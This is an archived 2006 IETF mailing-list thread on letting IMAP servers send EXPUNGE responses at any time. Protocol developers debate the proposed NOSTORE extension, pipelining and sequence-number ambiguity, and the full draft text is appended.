Subject: Re: sending EXPUNGE at any time
From: Philip Guenther <[email-masked]>
To: Arnt Gulbrandsen <[email-masked]>
Cc: [email-masked]
Date: Thu, 31 Aug 2006 13:18:30 -0600
List-Id: <ietf-imapext.imc.org>

On Thu, 31 Aug 2006, Arnt Gulbrandsen wrote:
...
> COPY needs blocking, yes. I forgot that one. Any command which changes the 
> message store based on MSNs does. STORE, COPY, anything else?

FETCH with any sort of BODY[<...>] item might set \seen on the wrong 
message.

Philip Guenther

Date: Thu, 31 Aug 2006 14:31:04 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: sending EXPUNGE at any time
Cc: Mark Crispin <[email-masked]>, Dave Cridland <[email-masked]>
Sender: [email-masked]

Arnt Gulbrandsen writes:
> Sequence number commands that don't change anything at the server are 
> okay. If a client says FETCH 8998 (UID FLAGS) and the meaning of 8998 
> changes, the client learns something it didn't need to know. Not much 
> of a problem. Some waste of bandwidth. Much like unsolicited flag 
> updates, really.

I should elaborate. It's not much of a problem because:

1. The expunge that causes 8998 to change must happen after the client 
sends the FETCH command and before the server parses it. That's 
one-half RTT.

2. It's almost always easy to use UID FETCH to sidestep the problem.

A problem which can be voided easily in almost all cases, depends on a 
narrow time window in the rest of the cases, and whose effect is a 
modest waste of bandwidth: I am not very concerned.

Arnt

Date: Thu, 31 Aug 2006 14:21:15 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: sending EXPUNGE at any time
Cc: Mark Crispin <[email-masked]>, Dave Cridland <[email-masked]>
Sender: [email-masked]

Mark Crispin writes:
> The NOSTORE proposal is also a big switch.  Because of the residual 
> "whoops", I don't think that a NOSTORE client can pipeline (and that 
> COPY also needs to be blocked).

COPY needs blocking, yes. I forgot that one. Any command which changes 
the message store based on MSNs does. STORE, COPY, anything else?

> Do you have a case for a client to pipeline *AND* allow EXPUNGE during 
> any command (including sequence number commands)?  If so, probably 
> neither NOSTORE nor my proposed alternative are satisfactory.

Sequence number commands that don't change anything at the server are 
okay. If a client says FETCH 8998 (UID FLAGS) and the meaning of 8998 
changes, the client learns something it didn't need to know. Not much 
of a problem. Some waste of bandwidth. Much like unsolicited flag 
updates, really.

Arnt

Date: Thu, 31 Aug 2006 14:16:03 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: sending EXPUNGE at any time
Cc: Mark Crispin <[email-masked]>
Sender: [email-masked]

Mark Crispin writes:
> What, precisely, is meant by "at once"?

Without having to wait for any other condition to become true. Is there 
any other interpretation?

> If the issue is to get notification of events when no command is in 
> progress (that is, to avoid the need for a periodic NOOP), doesn't 
> IDLE address it?

IDLE is too complicated for its task, IMO. See my other message.

> Note that the deadlock problem alluded by RFC 3501 section 5.3 is 
> still very much a consideration!

If a client explicitly asks for it, I think you may assume that the 
client will read its input. The rest is just another DoS, like 
infinitely long commands and infinite series of noops.

> If the issue is to get EXPUNGE responses during "prohibited" commands, 
> there is an alternative to NOSTORE.  I think that this alternative 
> may be more generally useful.
>
> This alternative is to declare that the client will not pipeline commands.
> ...
> In the many years since that time, I have seen little (none, actually) 
> use of pipelining.  The only reason for "prohibited" commands for 
> untagged EXPUNGE is to prevent ambiguity during pipelining.
>
> The individual who insisted that "IMAP will die" unless pipelining was 
> present is long gone from the IMAP community.  As far as I can tell, 
> we've just been maintaining the legacy.

UW-imapd doesn't log anything that would permit you to notice, does it? 
Pipelining is used, I can see that in my logfiles. For example, mutt 
sends concurrent STORE commands (STORE ... \deleted + STORE ... \seen + 
STORE ... \answered) when you hit the $ or q keys. Lots of clients 
batch up session establishment commands, although I rembember any name 
names right now. Things like LOGIN+SELECT INBOX or SELECT INBOX + UID 
FETCH 1:* (FLAGS RFC822.HEADER). I also know I've seen STORE ... 
\Deleted + EXPUNGE pipelined - I rememer my revulsion vividly. Oh, and 
I've seen n*STATUS.

> This alternative would still involve a big switch that has to be 
> thrown by the client.  Someone out there probably does want/use 
> pipelining and possibly even has a server that allows out-of-order 
> command execution.

The client I use to send this message uses pipelining, and the server 
does concurrent command execution ;)

> However, I think that this would be rather easy for most server 
> implementors to do.  My server has to go to effort not to send 
> EXPUNGE responses during "prohibited" commands, so it would not mind 
> at all if it was told "you don't have to do that for me" by a client.

Right.

I'll do a refined draft soon.

Arnt

Date: Thu, 31 Aug 2006 12:06:43 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: sending EXPUNGE at any time
Cc: Dave Cridland <[email-masked]>
Sender: [email-masked]

If you search the imap@ archives, you can find an old posting where I 
say much the same ;) Not ESEARCH of course.

I think I use divisions by eight, never having heard of Messrs. Newton 
and Raphson.

Arnt

Date: Thu, 31 Aug 2006 10:52:57 +0100
Subject: Re: sending EXPUNGE at any time
From: Dave Cridland <[email-masked]>
To: Arnt Gulbrandsen <[email-masked]>
Cc: <[email-masked]>
Sender: [email-masked]

On Wed Aug 30 12:57:29 2006, Arnt Gulbrandsen wrote:
> A thread last week annoyed me sufficiently to look closely at 
> anytime expunges. After a bit of thinking, I wrote 
> draft-gulbrandsen-imap-nostore-00.txt. Comments invited, if 
> possible without calling me or anyone else cretin. It really isn't 
> called for.

Something I haven't mentioned is the UID mapping resynchronization 
using UID SEARCH. This is essentially what my own client does, but I 
found a few refinements:

1) If you take into account the values of UIDNEXT and the number of 
witnessed EXPUNGEs, then it's possible to detirmine how many messages 
have been expunged, and more importantly, whether none have. This 
allows the client to know that its mapping is correct as far as it 
goes, and use a UID SEARCH across the range of highest-known-MSN:* to 
complete the mapping.

2) Using this kind of method, there's no need to maintain a complete 
mapping - you can get chunks on demand. I use chunks of approximately 
500 MSNs, but fetch them three at a time with a basic UID SEARCH. 
Given an unknown MSN, I use a successive approximation technique 
(Newton-Raphson style) to find the UID, based on the assumption that 
expunges are evenly distributed within a range. A mailbox with no 
expunged messages requires one hit for this, and it happens that very 
large mailboxes often have no expunges, being things like mailing 
list archives.

3) ESEARCH is extremely handy for reducing the data transfer cost of 
these operations, because it uses set-syntax. Merely adding RETURN () 
suffices for this. Polymer happens to also adapt the size of the 
chunks mentioned in (2) according to the predicted average size of 
these chunks.

4) Typically, EXPUNGEs happen toward the end of the mailbox. As such, 
you can generally drop a round-trip by assuming this is the case, and 
fetching the last chunk. With ESEARCH, this works out as less data 
transfer cost too, typically.

5) For very large mailboxes, the first SEARCH in your example may be 
too large a command. I avoid this by checking 50 chunks at a time in 
reverse. Typically this finds the expunged message, because they're 
usually recent.

Hope this is useful (to you, or someone else).

Dave.
-- 
Dave Cridland - mailto:[email-masked] - xmpp:[email-masked]
  - acap://acap.dave.cridland.net/byowner/user/dwd/bookmarks/
  - http://dave.cridland.net/
Infotrope Polymer - ACAP, IMAP, ESMTP, and Lemonade

Date: Thu, 31 Aug 2006 10:05:35 +0100
From: Alexey Melnikov <[email-masked]>
To: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

Alexey Melnikov wrote:

>> If SELECT doesn't have a REPORTEXPUNGES, then I think this document 
>> needs to rely on CONDSTORE. FETCH ... (CHANGEDSINCE x REPORTEXPUNGES) 
>> makes sense and helps update a cache, but without CONDSTORE I don't 
>> see the improvement. The command FETCH 1:* UID (REPORTEXPUNGES) is 
>> not an improvement over FETCH 1:* UID or UID SEARCH 1:*.
>
> Yes, it is not an improvement and it is also explicitly prohibited ;-).

Correction: it is not prohibited, but I still agree that it is not an 
improvement over UID FETCH 1:* or UID SEARCH 1:*.

Date: Thu, 31 Aug 2006 10:59:38 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: sending EXPUNGE at any time
Cc: Mark Crispin <[email-masked]>, Dave Cridland <[email-masked]>
Sender: [email-masked]

(NOSTORE isn't new functionality, it's IDLE-done-better. I've had 
another think this morning, and will propose 
IDLE-done-better-twice-over shortly.)

Dave Cridland writes:
> I strongly suspect that "EXPUNGEs at any time" aren't useful, and if 
> they were, then pipelining IDLE and DONE and being a bit picky over 
> which commands to use should get a client 99% of the way there on 
> existing (and well deployed) extensions.

I've written a client which does this, and I agree that it gets me 99% 
of the way there. On the other hand, I recently learned that at my 
previous employer, IDLE has spent six years on the todo list, which 
makes me think that getting 99% of the way isn't something one 
implements while sitting in a boring meeting.

NOSTORE is simpler and cleaner than IDLE. Look at this:

C: a IDLE
(state 1)
S: + go on
(state 2)
S: * 9999 EXISTS
(still state 2)
C: DONE
(state 3)
S: a OK no longer idle
(state 0)
C: b FETCH 9999 BODY.PEEK[HEADER.FIE....

In state 0, all commands are valid (except command-nonauth of course). 
In state 1, none are, and the client cannot even send DONE. In state 2, 
none are, but the client can send DONE. In state 3, commands which use 
MSNs aren't valid, and the SEARCH command isn't, and the rest are.

If you treat IMAP as RPC and don't pipeline at all, you can ignore 
states 1 and 3. If you're a bit cavalier, you can disregard state 1 
(but I suspect our server may bite you sometimes, depending on what you 
pipeline). In state 3, you can't send the intuitive FETCH command, but 
you can send 'UID FETCH x:1 ...', where x is one greater than the 
previous largest UID you've seen.

All this is really a little too much. The complexity of the solution is 
out of proportion to the inherent complexity of the problem. IMNSHO.

I'll answer more mail later today, at least I hope so. (My infant 
daughter is a bit under the weather. So am I, for that matter, but I 
don't really have the time to notice that. ;)

Arnt

Date: Wed, 30 Aug 2006 16:39:25 -0700
From: Peter Coates <[email-masked]>
Subject: RE: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
To: "'IMAP Extensions WG'" <[email-masked]>
Sender: [email-masked]

Consider the following sequence of events.  I have in my mailbox 3 messages,
UIDs 4,5,6
So if a client selects the mailbox and issues
C: 1 uid fetch 1:* flags 
The server will respond
S: * 1 FETCH (FLAGS () UID 4)
S: * 2 FETCH (FLAGS (\Deleted) UID 5)
S: * 3 FETCH (FLAGS () UID 6)
S: 1 OK Completed

If the client issues
C: 1 uid fetch 1:* flags (repordexpunges)
The server will respond
S: * 1 FETCH (FLAGS () UID 4)
S: * 2 FETCH (FLAGS (\Deleted) UID 5)
S: * 3 FETCH (FLAGS () UID 6)
S: * EXPUNGED 1:3
S: 1 OK Completed

At this point in another session some other client issues an expunge.  If my
client reissues the command, the exchange would be
C: 1 uid fetch 1:* flags 
S: * 2 EXPUNGE
S: * 2 EXISTS
S: * 0 RECENT
S: * 1 FETCH (FLAGS () UID 4)
S: * 3 FETCH (FLAGS () UID 6)
S: 1 OK Completed

If instead the client issued
C: 1 uid fetch 1:* flags (repordexpunges)
The server is tempted to respond
S: * EXPUNGED 5
S: * 2 EXISTS
S: * 0 RECENT
S: * 1 FETCH (FLAGS () UID 4)
S: * 2 FETCH (FLAGS (\Deleted) UID 5)
S: * 3 FETCH (FLAGS () UID 6)
S: * EXPUNGED 1:3,5
S: 1 OK Completed

This is clearly bogus.  That first * EXPUNGED response is not wanted.  But
presumably the * EXISTS and * RECENT are still wanted, right?  Or if I am doing
the reportexpunges type of response, ought I to suppress the * EXISTS and *
RECENT responses too?

Peter

Date: Wed, 30 Aug 2006 11:55:28 -0700 (PDT)
From: Mark Crispin <[email-masked]>
To: Dave Cridland <[email-masked]>
cc: [email-masked]
Subject: Re: sending EXPUNGE at any time
Sender: [email-masked]

On Wed, 30 Aug 2006, Dave Cridland wrote:
>> Rumors to the contrary notwithstanding, I don't oppose proposals for new 
>> functionalities out of hand!
> Sure. But - and I feel strangely Crispinesque saying this - each extension 
> added to IMAP has to justify its existence, and its benefits have to outweigh 
> its costs. I'm really unclear on what the actual benefit is, in this 
> instance.

I don't disagree.  I just reserve judgement on that point until I hear 
Arnt's arguments for why EXPUNGE at any time is desirable (and worth the 
cost of a big switch in IMAP).

I think that, if it is done, my alternative is a better way of doing it. 
However, I don't have any argument (much less a compelling one!) for 
EXPUNGE at any time.  Without a compelling argument, the whole thing 
collapses.

-- Mark --

http://panda.com/mrc
Democracy is two wolves and a sheep deciding what to eat for lunch.
Liberty is a well-armed sheep contesting the vote.

Date: Wed, 30 Aug 2006 19:44:28 +0100
Subject: Re: sending EXPUNGE at any time
From: Dave Cridland <[email-masked]>
To: Mark Crispin <[email-masked]>
Cc: <[email-masked]>
Sender: [email-masked]

On Wed Aug 30 17:57:21 2006, Mark Crispin wrote:
> Rumors to the contrary notwithstanding, I don't oppose proposals 
> for new functionalities out of hand!

Sure. But - and I feel strangely Crispinesque saying this - each 
extension added to IMAP has to justify its existence, and its 
benefits have to outweigh its costs. I'm really unclear on what the 
actual benefit is, in this instance.

I strongly suspect that "EXPUNGEs at any time" aren't useful, and if 
they were, then pipelining IDLE and DONE and being a bit picky over 
which commands to use should get a client 99% of the way there on 
existing (and well deployed) extensions.

Dave.
-- 
Dave Cridland - mailto:[email-masked] - xmpp:[email-masked]
  - acap://acap.dave.cridland.net/byowner/user/dwd/bookmarks/
  - http://dave.cridland.net/
Infotrope Polymer - ACAP, IMAP, ESMTP, and Lemonade

Date: Wed, 30 Aug 2006 09:57:21 -0700 (PDT)
From: Mark Crispin <[email-masked]>
To: Dave Cridland <[email-masked]>
cc: [email-masked]
Subject: Re: sending EXPUNGE at any time
Sender: [email-masked]

On Wed, 30 Aug 2006, Dave Cridland wrote:
> My client does pipelining routinely, sorry. I find this a very useful feature 
> of IMAP, and indeed any protocol. I think that removing it would represent a 
> backward step.

To clarify: I am not talking about removing pipelining.  I am talking 
about a big switch that would turn off pipelining and turn on EXPUNGE 
during any command.  This switch would default to off.

The NOSTORE proposal is also a big switch.  Because of the residual 
"whoops", I don't think that a NOSTORE client can pipeline (and that COPY 
also needs to be blocked).

Do you have a case for a client to pipeline *AND* allow EXPUNGE during any 
command (including sequence number commands)?  If so, probably neither 
NOSTORE nor my proposed alternative are satisfactory.

>> However, I think that this would be rather easy for most server 
>> implementors to do.  My server has to go to effort not to send EXPUNGE 
>> responses during "prohibited" commands, so it would not mind at all if it 
>> was told "you don't have to do that for me" by a client.
> Sure, but why would a client do that? There's no real gain for a client to 
> allow the server to send expunge responses at any time. It doesn't yield 
> anything particularly useful. Incidentally, this goes for NOSTORE, too. I can 
> see instant benefit for the server, but none for the client.

I interpret the above as being a vote to "do nothing".  That is, "do not 
add a functionality to IMAP to allow EXPUNGE responses at any time."

That is a valid position.  I'm sympathetic to it.  I'm just trying to help 
Arnt out, without actually taking a position on whether or not the 
functionality should be added.

Rumors to the contrary notwithstanding, I don't oppose proposals for new 
functionalities out of hand!

-- Mark --

http://panda.com/mrc
Democracy is two wolves and a sheep deciding what to eat for lunch.
Liberty is a well-armed sheep contesting the vote.

Date: Wed, 30 Aug 2006 22:22:01 +0530
From: Abhijit Menon-Sen <[email-masked]>
To: Dave Cridland <[email-masked]>
Cc: Mark Crispin <[email-masked]>, [email-masked]
Subject: Re: sending EXPUNGE at any time
Sender: [email-masked]

At 2006-08-30 17:28:34 +0100, [email-masked] wrote:
>
> My client is also explicitly designed to cope with commands being
> processed out of order. For certain commands, I really wish servers
> would do this, in particular long running searches.

Just a data point: my server will do that (and it doesn't need to go out
of its way to implement it).

-- ams

Date: Wed, 30 Aug 2006 17:28:34 +0100
Subject: Re: sending EXPUNGE at any time
From: Dave Cridland <[email-masked]>
To: Mark Crispin <[email-masked]>
Cc: <[email-masked]>
Sender: [email-masked]

On Wed Aug 30 17:00:03 2006, Mark Crispin wrote:
> This is the way that IMAP used to work (and was always intended to 
> work), prior to the adding of pipelining.  In the many years since 
> that time, I have seen little (none, actually) use of pipelining.  
> The only reason for "prohibited" commands for untagged EXPUNGE is 
> to prevent ambiguity during pipelining.
> 
> 
My client does pipelining routinely, sorry. I find this a very useful 
feature of IMAP, and indeed any protocol. I think that removing it 
would represent a backward step.

> The point to pipelining was not to reduce command RTTs, but rather 
> to allow commands to be executed out of order (that's also why 
> there are command tags, which also weren't in the original IMAP).
> 
> 
My client is also explicitly designed to cope with commands being 
processed out of order. For certain commands, I really wish servers 
would do this, in particular long running searches. For large 
mailboxes, BODY searches (as an example) do take time, and yet are 
very useful.

> We generally don't have servers that execute commands out of order 
> because a SEARCH is taking too long, and we generally don't have 
> clients that expect the server to offer this.  If a client runs out 
> of patience with a server, it just opens a new connection (I find 
> such behavior very annoying, but that the way that the world went).
> 
> 
Yes, I find multiple connections a pain, so I avoided them entirely. 
For one thing, the cost of connection is quite high, involving as it 
does several round-trips.

> This alternative would still involve a big switch that has to be 
> thrown by the client.  Someone out there probably does want/use 
> pipelining and possibly even has a server that allows out-of-order 
> command execution.
> 
> 
Well, I've a client that does pipelining, and an ACAP server that 
does out-of-order processing.

> However, I think that this would be rather easy for most server 
> implementors to do.  My server has to go to effort not to send 
> EXPUNGE responses during "prohibited" commands, so it would not 
> mind at all if it was told "you don't have to do that for me" by a 
> client.
> 
> 
Sure, but why would a client do that? There's no real gain for a 
client to allow the server to send expunge responses at any time. It 
doesn't yield anything particularly useful. Incidentally, this goes 
for NOSTORE, too. I can see instant benefit for the server, but none 
for the client.

Dave.
-- 
Dave Cridland - mailto:[email-masked] - xmpp:[email-masked]
  - acap://acap.dave.cridland.net/byowner/user/dwd/bookmarks/
  - http://dave.cridland.net/
Infotrope Polymer - ACAP, IMAP, ESMTP, and Lemonade

Date: Wed, 30 Aug 2006 09:00:03 -0700 (PDT)
From: Mark Crispin <[email-masked]>
To: Arnt Gulbrandsen <[email-masked]>
cc: [email-masked]
Subject: Re: sending EXPUNGE at any time
Sender: [email-masked]

What, precisely, is meant by "at once"?

If the issue is to get notification of events when no command is in 
progress (that is, to avoid the need for a periodic NOOP), doesn't IDLE 
address it?

Note that the deadlock problem alluded by RFC 3501 section 5.3 is still 
very much a consideration!

If the issue is to get EXPUNGE responses during "prohibited" commands, 
there is an alternative to NOSTORE.  I think that this alternative may be 
more generally useful.

This alternative is to declare that the client will not pipeline commands. 
The restriction on not sending EXPUNGE when no command is in progress is 
retained; however the restriction on sending EXPUNGE during "prohibited" 
commands is replaced by a stipulation that sequence numbers in a command 
are to be interpreted by the server *prior* to the effect of any EXPUNGE 
result.

Doing this eliminates the ambiguities.

This is the way that IMAP used to work (and was always intended to work), 
prior to the adding of pipelining.  In the many years since that time, I 
have seen little (none, actually) use of pipelining.  The only reason for 
"prohibited" commands for untagged EXPUNGE is to prevent ambiguity during 
pipelining.

The individual who insisted that "IMAP will die" unless pipelining was 
present is long gone from the IMAP community.  As far as I can tell, we've 
just been maintaining the legacy.

The point to pipelining was not to reduce command RTTs, but rather to 
allow commands to be executed out of order (that's also why there are 
command tags, which also weren't in the original IMAP).

The motivation, which seems rather quaint today, was that most people's 
email archive (especially people with very large mailboxes of more then 
500 messages) would not be stored on disk, but rather on secondary storage 
such as magnetic tape or optical disk.  Thus, if the client did a SEARCH 
command, it may take a while while the computer operator located and 
mounted the necessary tape/disk.

This isn't the way that the world went.  We have people with GB-scale 
mailboxes.  5 digit message counts are not uncommon; and new mail stores 
are being designed to scale for 6 and 7 digit message counts in a single 
mailbox.

We generally don't have servers that execute commands out of order because 
a SEARCH is taking too long, and we generally don't have clients that 
expect the server to offer this.  If a client runs out of patience with a 
server, it just opens a new connection (I find such behavior very 
annoying, but that the way that the world went).

This alternative would still involve a big switch that has to be thrown by 
the client.  Someone out there probably does want/use pipelining and 
possibly even has a server that allows out-of-order command execution.

However, I think that this would be rather easy for most server 
implementors to do.  My server has to go to effort not to send EXPUNGE 
responses during "prohibited" commands, so it would not mind at all if it 
was told "you don't have to do that for me" by a client.

NOSTORE requires a little bit more work, and it doesn't address the 
"whoops" problem with FETCH/SEARCH/SORT/THREAD and especially COPY.  My 
suggested alternative addresses the "whoops" problem, and allows STORE.

-- Mark --

http://panda.com/mrc
Democracy is two wolves and a sheep deciding what to eat for lunch.
Liberty is a well-armed sheep contesting the vote.

Date: Wed, 30 Aug 2006 08:38:28 -0700 (PDT)
From: Mark Crispin <[email-masked]>
To: Arnt Gulbrandsen <[email-masked]>
cc: [email-masked]
Subject: Re: sending EXPUNGE at any time
Sender: [email-masked]

This proposal has the effect of throwing a switch in the IMAP protocol 
state.  That isn't a show-stopper; but there has been a reticence to 
putting in such switches.

I think that if NOSTORE is in effect, the STORE command must be removed 
from the list of valid commands; that is, the server responds BAD to 
STORE.

Although NOSTORE prevents the problem of STORE impacting an unintended 
message, I don't see how it is supposed to avoid problems with other 
commands that use sequence numbers.  In particular, FETCH, SEARCH, SORT, 
and THREAD all take sequence numbers and all are potentially impacted by 
an EXPUNGE that happens between the time that the command is built and 
executed.

Unless I'm missing something, the best outcome that I can see from this is 
for the client to say "whoops" and redo the command.  That can potentially 
result in multiple "whoops"/redo cycles.

Of greater concern is COPY.  COPY probably needs to be prohibited as well 
as STORE.  I don't think that I need to elaborate the potentially bad 
consequences of a "whoops" with COPY.

More in next message.

-- Mark --

http://panda.com/mrc
Democracy is two wolves and a sheep deciding what to eat for lunch.
Liberty is a well-armed sheep contesting the vote.

Date: Wed, 30 Aug 2006 14:57:43 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: sending EXPUNGE at any time
Cc: Abhijit Menon-Sen <[email-masked]>
Sender: [email-masked]

Abhijit Menon-Sen writes:
> Apart from the change above, you also need:
>
>     capability =/ "NOSTORE"

Oh no! I really liked the grammar ;)

Arnt

Date: Wed, 30 Aug 2006 18:12:16 +0530
From: Abhijit Menon-Sen <[email-masked]>
To: Arnt Gulbrandsen <[email-masked]>
Cc: [email-masked]
Subject: Re: sending EXPUNGE at any time
Sender: [email-masked]

Hi Arnt.

Just a couple of minor nits:

At 2006-08-30 13:57:29 +0200, [email-masked] wrote:
>
>     Form (ABNF) notation as specified in [ABNF]. [IMAPABNF] defines
>     the non-terminals search-param.

s/search/select/

>         search-param =/ "NOSTORE"

Apart from the change above, you also need:

    capability =/ "NOSTORE"

Nice idea.

-- ams

Date: Wed, 30 Aug 2006 14:16:53 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: sending EXPUNGE at any time
Sender: [email-masked]

Btw. I am not going to send this document to the IESG this afternoon and 
demand publication as a full standard no later than Friday. Let's call 
it a basis for discussion, and perhaps it becomes an RFC, and perhaps 
it does not.

Arnt

Date: Wed, 30 Aug 2006 13:57:29 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: sending EXPUNGE at any time
Sender: [email-masked]

---
Content-Type: text/plain; format=flowed

A thread last week annoyed me sufficiently to look closely at anytime 
expunges. After a bit of thinking, I wrote 
draft-gulbrandsen-imap-nostore-00.txt. Comments invited, if possible 
without calling me or anyone else cretin. It really isn't called for.

Btw, if you see two extraneous characters in one of the example 
commands, please ignore them. I noticed that only after sending the 
draft.

I've appended the draft to this message so you don't have to wait until 
the i-d editor posts it.

Arnt

---
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=utf-8
Content-Disposition: attachment; size=11175;
  filename=draft-gulbrandsen-imap-nostore-00.txt

Network Working Group                                   Arnt Gulbrandsen
Request for Comments: DRAFT                       Oryx Mail Systems GmbH
draft-gulbrandsen-imap-nostore-00.txt                      February 2006

                       The IMAP NOSTORE Extension

Status of this Memo

    By submitting this Internet-Draft, each author represents that any
    applicable patent or other IPR claims of which he or she is aware
    have been or will be disclosed, and any of which he or she becomes
    aware will be disclosed, in accordance with Section 6 of BCP 79.

    Internet-Drafts are working documents of the Internet Engineering
    Task Force (IETF), its areas, and its working groups.  Note that
    other groups may also distribute working documents as Internet-
    Drafts.

    Internet-Drafts are draft documents valid for a maximum of six
    months and may be updated, replaced, or obsoleted by other documents
    at any time.  It is inappropriate to use Internet-Drafts as
    reference material or to cite them other than as "work in progress."

    The list of current Internet-Drafts can be accessed at
    http://www.ietf.org/ietf/1id-abstracts.txt. The list of Internet-
    Draft Shadow Directories can be accessed at
    http://www.ietf.org/shadow.html.

    This Internet-Draft will expire in February, 2007.

Copyright Notice

    Copyright (C) The Internet Society (2006).

Abstract

    The NOSTORE extension allows an IMAP server to send EXPUNGE and
    EXISTS responses to a support client at any time, while preserving
    the advantages of message-number arithmentic.

    The extension requires that UID STORE be used instead of STORE.

Gulbrandsen               Expires Feburary 2007                 [Page 1]
=0C
Internet-draft                                               August 2006

Conventions Used in This Document

    The key words "REQUIRED", "MUST", "MUST NOT", "SHOULD", "SHOULD
    NOT", and "MAY" in this document are to be interpreted as described
    in "Key words for use in RFCs to Indicate Requirement Levels"
    [KEYWORDS]. Formal syntax is defined by [ABNF] as modified by [IMAP]
    and [IMAPABNF].

    In the example, "C:" and "S:" indicate lines sent by the client and
    server respectively.

Introduction

    An [IMAP] server that supports this extension announces "NOSTORE" as
    one of its capabilities. This extension adds one new select
    parameter, no commands and no responses.

    While the extension is active, the server notifies the client at
    once about external changes to the mailbox.

Client Requirements

    To enable NOSTORE for a mailbox session, the client uses the NOSTORE
    select-param on the SELECT command.

    In such a session, the client MUST NOT use the STORE command. It
    should always use the UID STORE command instead.

    The client MUST tolerate that EXPUNGE, EXISTS and other untagged
    responses can arrive at any time, even when no command is being
    executed.

    It follows that commands with MSN arguments are best not used. This
    includes FETCH, COPY, often SEARCH and sometimes UID SEARCH. The
    commands UID STORE, UID FETCH, UID COPY and UID SEARCH can do the
    same job.

Server Requirements

    When NOSTORE has been enabled for a mailbox session, the server
    changes its behaviour as follows:

    The server MUST reject the STORE command with a BAD response.

Gulbrandsen               Expires Feburary 2007                 [Page 2]
=0C
Internet-draft                                               August 2006

    If a command is found to contains MSNs outside the currently valid
    range, the server MUST silently ignore these MSNs. (This is similar
    to how UIDs are handled.)

    The server SHOULD send EXISTS and EXPUNGED responses promptly when
    messages are added to the mailbox or expunged from the mailbox. The
    server MAY send flag updates and other unsolicited responses at any
    time.

Examples

    In examples, some lines have been wrapped for editorial clarity.

    In this example, a client selects a mailbox and updates its UID and
    flag cache.

         C: a SELECT INBOX (NOSTORE)
         S: * FLAGS (\Deleted \Answered \Flagged \Draft \Seen)
         S: * 999 EXISTS
         S: * 0 RECENT
         S: * OK [UIDNEXT 10001] next uid
         S: * OK [UIDVALIDITY 1] uid validity
         S: * OK [PERMANENTFLAGS (\Deleted \Answered \Flagged \Draft
            \Seen \*)] permanent flags
         S: a OK [READ-WRITE] Mailbox selected with NOSTORE active
         C: b UID FETCH 1:* (FLAGS)
         S: * 1 FETCH (UID 10 FLAGS (\seen))
         S: * 2 FETCH (UID 20 FLAGS (\seen))
         [996 similar responses elided]
         S: * 999 FETCH (UID 10000 FLAGS ())
         S: c OK That was fun

    In the next example, an advanced client uses MSN arithmetic to do
    the same job much more efficiently. Before connecting, the client
    has 1000 messages cached, with UIDs 10, 20 and so on to 10000. When
    connecting, it sees that the server has just 999 messages, and so
    knows that at least one message has been deleted.

         C: a SELECT INBOX (NOSTORE)
         S: * FLAGS (\Deleted \Answered \Flagged \Draft \Seen)
         S: * 999 EXISTS
         S: * 0 RECENT
         S: * OK [UIDNEXT 10001] next uid
         S: * OK [UIDVALIDITY 1] uid validity
         S: * OK [PERMANENTFLAGS (\Deleted \Answered \Flagged \Draft
            \Seen \*)] permanent flags
         S: a OK [READ-WRITE] Mailbox selected with NOSTORE active

Gulbrandsen               Expires Feburary 2007                 [Page 3]
=0C
Internet-draft                                               August 2006

    To find out which message was deleted without using too much
    bandwidth, this very smart client starts with a search command using
    MSNs:

         C: d UID SEARCH 1,200,400,600,800,999,* UID
         S: * SEARCH 10,2000,4000,6000,8000,10000
         S: d OK Search completed

    At this time, the client knows the approximate UID of the deleted
    messages. The server has 198 messages with UIDs between 10 and 2000,
    199 between 2000 and 4000, etc. The client determines that since the
    server has 198 messages between UID 8000 and 10000 and its own cache
    contains 199 messages, the deleted message must be in this range.
    Accordingly it sends another search:

         C: e UID SEARCH 801:998
         S: * SEARCH 8010,8030,8040,8040,[196 more UIDs elided]
         S: e OK Search completed

    The second search reveals that the cached message with UID 8020 has
    been expunged.

    Note that this command sequence works perfectly even if the server
    expunges messages at the same time.

    If the server supports [CONDSTORE], the client can now go on to
    update its flag cache.

         C: f UID FETCH 1:* FLAGS (CHANGEDSINCE 42)
         S: * 997 FETCH (UID 9980 FLAGS (\seen) MODSEQ 42)
         S: f OK That was much more fun!

Formal Syntax

    The following syntax specification uses the Augmented Backus-Naur
    Form (ABNF) notation as specified in [ABNF]. [IMAPABNF] defines the
    non-terminals search-param.

    Except as noted otherwise, all alphabetic characters are case-
    insensitive.  The use of upper or lower case characters to define
    token strings is for editorial clarity only.  Implementations MUST
    accept these strings in a case-insensitive fashion.

        search-param =3D/ "NOSTORE"

Security considerations

Gulbrandsen               Expires Feburary 2007                 [Page 4]
=0C
Internet-draft                                               August 2006

    There are no known security issues with this extension.

IANA considerations

    The IANA is requested to add NOSTORE to the list of IMAP extensions.

Credits

    (Your name here :)

Normative References

    [ABNF]     Crocker, Overell, "Augmented BNF for Syntax
               Specifications: ABNF", RFC 2234, Internet Mail
               Consortium, Demon Internet Ltd, November 1997.

    [KEYWORDS] Bradner, "Key words for use in RFCs to Indicate
               Requirement Levels", RFC 2119, Harvard University, March
               1997.

    [IMAP]     Crispin, M., "Internet Message Access Protocol - Version
               4rev1", RFC 3501, University of Washington, June 2003.

    [IMAPABNF] Melnikov, A. and Daboo, C., "Collected Extensions to
               IMAP4 ABNF", RFC 4466, Isode Ltd., April 2006.

    [CONDSTORE] Melnikov, A. and Hole, S.., "IMAP Extension for
               Conditional STORE Operation or Quick Flag Changes
               Resynchronization", RFC 4551, Isode Ltd., June 2006.

Author's Address

    Arnt Gulbrandsen
    Oryx Mail Systems GmbH
    Schweppermannstr. 8
    D-81671 Muenchen
    Germany

    Fax: +49 89 4502 9758

    Email: [email-masked]

Gulbrandsen               Expires Feburary 2007                 [Page 5]
=0C
Internet-draft                                               August 2006

Intellectual Property Statement

